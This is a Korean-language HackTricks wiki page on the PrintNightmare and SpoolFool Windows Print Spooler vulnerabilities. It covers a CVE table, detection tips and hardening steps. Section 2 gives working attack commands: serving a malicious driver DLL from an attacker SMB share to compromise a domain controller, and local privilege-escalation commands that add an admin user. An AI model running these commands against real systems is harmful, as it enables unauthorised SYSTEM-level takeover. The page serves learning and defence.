PrintNightmare (Windows Print Spooler RCE/LPE)
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
PrintNightmare는 SYSTEM으로서의 임의 코드 실행을 허용하는 Windows Print Spooler 서비스의 취약점 집합에 붙여진 이름이며, 스풀러가 RPC를 통해 접근 가능할 때 **도메인 컨트롤러 및 파일 서버에서의 원격 코드 실행(RCE)**을 허용합니다. 가장 널리 악용된 CVE는 CVE-2021-1675(초기 LPE로 분류됨)와 CVE-2021-34527(전체 RCE)입니다. 이후의 문제인 **CVE-2021-34481 (“Point & Print”)**와 **CVE-2022-21999 (“SpoolFool”)**는 공격 표면이 여전히 닫히지 않았음을 증명합니다.
1. 취약한 구성 요소 및 CVE
연도 | CVE | 짧은 이름 | 원시 | 비고 |
---|---|---|---|---|
2021 | CVE-2021-1675 | “PrintNightmare #1” | LPE | 2021년 6월 CU에서 패치되었으나 CVE-2021-34527에 의해 우회됨 |
2021 | CVE-2021-34527 | “PrintNightmare” | RCE/LPE | AddPrinterDriverEx는 인증된 사용자가 원격 공유에서 드라이버 DLL을 로드할 수 있도록 허용 |
2021 | CVE-2021-34481 | “Point & Print” | LPE | 비관리자 사용자의 서명되지 않은 드라이버 설치 |
2022 | CVE-2022-21999 | “SpoolFool” | LPE | 임의 디렉터리 생성 → DLL 심기 – 2021년 패치 이후에도 작동 |
모두 MS-RPRN / MS-PAR RPC 메서드(RpcAddPrinterDriver
, RpcAddPrinterDriverEx
, RpcAsyncAddPrinterDriver
) 또는 Point & Print 내의 신뢰 관계를 악용합니다.
2. 악용 기술
2.1 원격 도메인 컨트롤러 손상 (CVE-2021-34527)
인증된 그러나 비특권 도메인 사용자는 다음을 통해 원격 스풀러(종종 DC)에서 NT AUTHORITY\SYSTEM으로 임의 DLL을 실행할 수 있습니다:
# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support
# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local 'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'
인기 있는 PoC에는 CVE-2021-1675.py (Python/Impacket), SharpPrintNightmare.exe (C#) 및 Benjamin Delpy의 misc::printnightmare / lsa::addsid
모듈이 포함됩니다 mimikatz.
2.2 로컬 권한 상승 (지원되는 모든 Windows, 2021-2024)
같은 API를 로컬에서 호출하여 C:\Windows\System32\spool\drivers\x64\3\
에서 드라이버를 로드하고 SYSTEM 권한을 얻을 수 있습니다:
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
2.3 SpoolFool (CVE-2022-21999) – 2021 수정 사항 우회
Microsoft의 2021 패치는 원격 드라이버 로딩을 차단했지만 디렉터리 권한을 강화하지는 않았습니다. SpoolFool은 SpoolDirectory
매개변수를 악용하여 C:\Windows\System32\spool\drivers\
아래에 임의의 디렉터리를 생성하고, 페이로드 DLL을 드롭한 후 스풀러가 이를 로드하도록 강제합니다:
# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll
# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
이 익스플로잇은 2022년 2월 업데이트 이전의 완전히 패치된 Windows 7 → Windows 11 및 Server 2012R2 → 2022에서 작동합니다.
3. 탐지 및 헌팅
- 이벤트 로그 – Microsoft-Windows-PrintService/Operational 및 Admin 채널을 활성화하고 이벤트 ID 808 “프린트 스풀러가 플러그인 모듈을 로드하지 못했습니다” 또는 RpcAddPrinterDriverEx 메시지를 주의 깊게 살펴보세요.
- Sysmon –
Event ID 7
(이미지 로드됨) 또는11/23
(파일 쓰기/삭제)C:\Windows\System32\spool\drivers\*
내에서 부모 프로세스가 spoolsv.exe일 때. - 프로세스 계보 – spoolsv.exe가
cmd.exe
,rundll32.exe
, PowerShell 또는 서명되지 않은 바이너리를 생성할 때 경고.
4. 완화 및 강화
- 패치! – Print Spooler 서비스가 설치된 모든 Windows 호스트에 최신 누적 업데이트를 적용하세요.
- 필요하지 않은 경우 스풀러를 비활성화하세요, 특히 도메인 컨트롤러에서:
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
- 원격 연결을 차단하되 로컬 인쇄는 허용하세요 – 그룹 정책:
컴퓨터 구성 → 관리 템플릿 → 프린터 → 클라이언트 연결 수락을 위한 프린트 스풀러 허용 = 비활성화
. - 포인트 및 프린트를 제한하여 관리자만 드라이버를 추가할 수 있도록 레지스트리 값을 설정하세요:
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
자세한 안내는 Microsoft KB5005652에서 확인하세요.
5. 관련 연구 / 도구
- mimikatz
printnightmare
모듈 - SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
- SpoolFool 익스플로잇 및 작성
- SpoolFool 및 기타 스풀러 버그에 대한 0patch 마이크로패치
추가 읽기 (외부): 2024 연습 블로그 게시물 확인 – PrintNightmare 취약점 이해하기
참조
- Microsoft – KB5005652: 새로운 포인트 및 프린트 기본 드라이버 설치 동작 관리 https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872
- Oliver Lyak – SpoolFool: CVE-2022-21999 https://github.com/ly4k/SpoolFool
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.